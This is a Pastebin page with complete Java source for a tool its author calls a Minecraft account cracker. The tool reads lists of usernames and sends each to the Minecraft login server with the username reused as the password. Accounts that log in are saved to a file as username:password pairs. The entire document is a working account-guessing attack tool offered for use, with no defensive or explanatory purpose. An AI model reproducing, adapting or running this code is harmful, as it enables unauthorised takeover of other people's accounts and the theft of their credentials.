Advertisement
jonalu

Cracker source

Jan 17th, 2012
179
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 7.70 KB | None | 0 0
  1. import java.io.BufferedReader;
  2. import java.io.DataOutputStream;
  3. import java.io.File;
  4. import java.io.FileReader;
  5. import java.io.IOException;
  6. import java.io.InputStream;
  7. import java.io.InputStreamReader;
  8. import java.io.PrintStream;
  9. import java.net.HttpURLConnection;
  10. import java.net.URL;
  11. import java.net.URLEncoder;
  12. import java.util.ArrayList;
  13.  
  14.  
  15. public class Cracker {
  16.     private static File outputFile;
  17.     private static Thread crackThread = null;
  18.     private static ArrayList<String> crackedNames = new ArrayList<String>();
  19.     private static ArrayList<String> notCrackedNames = new ArrayList<String>();
  20.    
  21.     public static void main(String[] args) {
  22.         System.out.println("-=Jonalu's username=pass mc account cracker=-");
  23.         System.out.println("type help for commands");
  24.         BufferedReader stdIn = new BufferedReader(new InputStreamReader(System.in));
  25.         String uIn;
  26.         try {
  27.             while((uIn = stdIn.readLine()) != null) {
  28.                 command(uIn);
  29.             }
  30.         } catch (IOException e) {
  31.             e.printStackTrace();
  32.         }
  33.         exit();
  34.     }
  35.     private static void loadCommand(String uIn) {
  36.         try {
  37.             String[] as = uIn.split(" ");
  38.             if(as.length < 2) {
  39.                 System.out.println("incorrect Usage. Syntax: load <path>");
  40.             }
  41.             String path = uIn.replaceFirst("load ", "");
  42.             File f = new File(path);
  43.             if(!f.exists()) {
  44.                 System.out.println("File not found");
  45.                 return;
  46.             }
  47.             if(f.isDirectory()) {
  48.                 System.out.println("Thats a directory!");
  49.                 return;
  50.             }
  51.             BufferedReader br = new BufferedReader(new FileReader(f));
  52.            
  53.             String s1;
  54.             while((s1 = br.readLine()) != null) {
  55.                 if(!notCrackedNames.contains(s1) && !crackedNames.contains(s1))
  56.                     notCrackedNames.add(s1);
  57.             }
  58.             br.close();
  59.             System.out.println("loaded usernames");
  60.         } catch(IOException ioe) {
  61.             ioe.printStackTrace();
  62.         }
  63.     }
  64.     private static void exit() {
  65.         System.out.println("-=Exiting=-");
  66.         System.exit(0);
  67.     }
  68.     private static void save() {
  69.         try {
  70.             if(outputFile == null || (!outputFile.exists() && !outputFile.mkdirs() && !outputFile.createNewFile())) {
  71.                 System.out.println("no output file set. use setfile <path>.");
  72.             } else {
  73.                 BufferedReader br = new BufferedReader(new FileReader(outputFile));
  74.                 ArrayList<String> list = new ArrayList<String>();
  75.                
  76.                 String s1;
  77.                 while((s1 = br.readLine()) != null) {
  78.                     list.add(s1);
  79.                 }
  80.                 br.close();
  81.                 for(String s : crackedNames) {
  82.                     if(!list.contains(s+":"+s))
  83.                         list.add(s+":"+s);
  84.                 }
  85.                
  86.                 PrintStream ps = new PrintStream(outputFile);
  87.                
  88.                 for(String s : list) {
  89.                     ps.println(s);
  90.                 }
  91.                
  92.                 ps.flush();
  93.                 ps.close();
  94.                 System.out.println("Successfully saved.");
  95.             }
  96.         } catch (IOException e) {
  97.             e.printStackTrace();
  98.         }
  99.     }
  100.     private static void command(String uIn) {
  101.         if(uIn.equalsIgnoreCase("help")) {
  102.             showHelp();
  103.         } else if(uIn.equalsIgnoreCase("save")) {
  104.             save();
  105.         } else if(uIn.toLowerCase().startsWith("setfile")) {
  106.             setfile(uIn);
  107.         } else if(uIn.equalsIgnoreCase("exit")) {
  108.             exit();
  109.         } else if(uIn.equalsIgnoreCase("abort")) {
  110.             abort();
  111.         } else if(uIn.toLowerCase().startsWith("load")) {
  112.             loadCommand(uIn);
  113.         } else if(uIn.equalsIgnoreCase("crack")) {
  114.             startCracking();
  115.         } else if(uIn.toLowerCase().startsWith("add")) {
  116.             addCommand(uIn);
  117.         } else if(uIn.toLowerCase().startsWith("remove")) {
  118.             remCommand(uIn);
  119.         }
  120.     }
  121.     private static void remCommand(String uIn) {
  122.         String[] as = uIn.split(" ");
  123.         if(as.length == 2) {
  124.             if(notCrackedNames.contains(as[1])) {
  125.                 notCrackedNames.remove(as[1]);
  126.                 System.out.println("removed "+as[1]);
  127.             } else if(crackedNames.contains(as[1])) {
  128.                 System.out.println("already cracked"+as[1]);
  129.             } else {
  130.                 System.out.println(as[1]+" is not in list");
  131.             }
  132.         } else {
  133.             System.out.println("Incorrect Usage. Syntax: remove <username>");
  134.         }
  135.     }
  136.     private static void addCommand(String uIn) {
  137.         String[] as = uIn.split(" ");
  138.         if(as.length == 2) {
  139.             if(notCrackedNames.contains(as[1])) {
  140.                 System.out.println(as[1]+" is already in list");
  141.             } else if(crackedNames.contains(as[1])) {
  142.                 System.out.println("already cracked"+as[1]);
  143.             } else {
  144.                 notCrackedNames.add(as[1]);
  145.                 System.out.println("added "+as[1]+" to list");
  146.             }
  147.         } else {
  148.             System.out.println("Incorrect Usage. Syntax: add <username>");
  149.         }
  150.     }
  151.     private static void startCracking() {
  152.         crackThread = new Thread() {
  153.             public void run() {
  154.                 boolean running = true;
  155.                 for(int i = 0; i < notCrackedNames.size(); i++) {
  156.                     String s = notCrackedNames.get(i);
  157.                     if(!running)
  158.                         break;
  159.                    
  160.                     HttpURLConnection connection = null;
  161.                     try {
  162.                         String parameters = "user=" + URLEncoder.encode(s, "UTF-8") + "&password=" + URLEncoder.encode(s, "UTF-8") + "&version=" + 13;
  163.                         URL url = new URL("http://login.minecraft.net/");
  164.                        
  165.                         connection = (HttpURLConnection)url.openConnection();
  166.                         connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
  167.                         connection.setRequestProperty("Content-Length", Integer.toString(parameters.getBytes().length));
  168.                         connection.setRequestProperty("Content-Language", "en-US");
  169.                        
  170.                         connection.setUseCaches(false);
  171.                         connection.setDoInput(true);
  172.                         connection.setDoOutput(true);
  173.                         connection.connect();
  174.                        
  175.                        
  176.                         DataOutputStream wr = new DataOutputStream(connection.getOutputStream());
  177.                         wr.writeBytes(parameters);
  178.                         wr.flush();
  179.                         wr.close();
  180.                        
  181.                         InputStream is = connection.getInputStream();
  182.                         BufferedReader rd = new BufferedReader(new InputStreamReader(is));
  183.                        
  184.                         StringBuffer response = new StringBuffer();
  185.                         String line;
  186.                         while ((line = rd.readLine()) != null)
  187.                         {
  188.                             response.append(line);
  189.                             response.append('\r');
  190.                         }
  191.                         rd.close();
  192.                        
  193.                         String str1 = response.toString();
  194.                        
  195.                         if(str1.contains(":")) {
  196.                             notCrackedNames.remove(s);
  197.                             crackedNames.add(s);
  198.                             System.out.println("Cracked User "+s);
  199.                             i--;
  200.                         } else if(str1.toLowerCase().contains("bad login")) {
  201.                             System.out.println("Failed Cracking "+s);
  202.                         } else {
  203.                             System.out.println(str1);
  204.                             running = false;
  205.                         }
  206.                     } catch (Exception e) {
  207.                         e.printStackTrace();
  208.                     }
  209.                     if(connection != null)
  210.                         connection.disconnect();
  211.                 }
  212.             }
  213.         };
  214.         crackThread.start();
  215.         System.out.println("Started Cracking");
  216.     }
  217.     private static void showHelp() {
  218.         System.out.println("-=Help=-");
  219.         System.out.println("crack - start cracking accounts");
  220.         System.out.println("abort - abort cracking accounts");
  221.         System.out.println("save - save cracked accounts to file");
  222.         System.out.println("load <path> - load usernames");
  223.         System.out.println("add <username> - add to cracking list");
  224.         System.out.println("remove <username> - remove from cracking list");
  225.         System.out.println("setfile <path> - set output file path");
  226.         System.out.println("help - show this help");
  227.         System.out.println("exit - exit the cracker");
  228.     }
  229.     private static void abort() {
  230.         if(crackThread != null && crackThread.isAlive()) {
  231.             crackThread.interrupt();
  232.         } else {
  233.             System.out.println("Not scraping.");
  234.         }
  235.     }
  236.  
  237.     private static void setfile(String uIn) {
  238.         try {
  239.             String[] as = uIn.split(" ");
  240.             if(as.length == 2) {
  241.                 outputFile = new File(as[1]);
  242.                 if(outputFile.exists() && outputFile.isDirectory())
  243.                     System.out.println("That's a directory!");
  244.                 else if(!outputFile.exists() && !outputFile.createNewFile())
  245.                     System.out.println("Couldn't create file");
  246.                 else
  247.                     System.out.println("Output file set");
  248.             } else {
  249.                 System.out.println("Syntax Error. Correct Usage: setfile <path>");
  250.             }
  251.         } catch(IOException ioe) {
  252.             ioe.printStackTrace();
  253.         }
  254.     }
  255. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement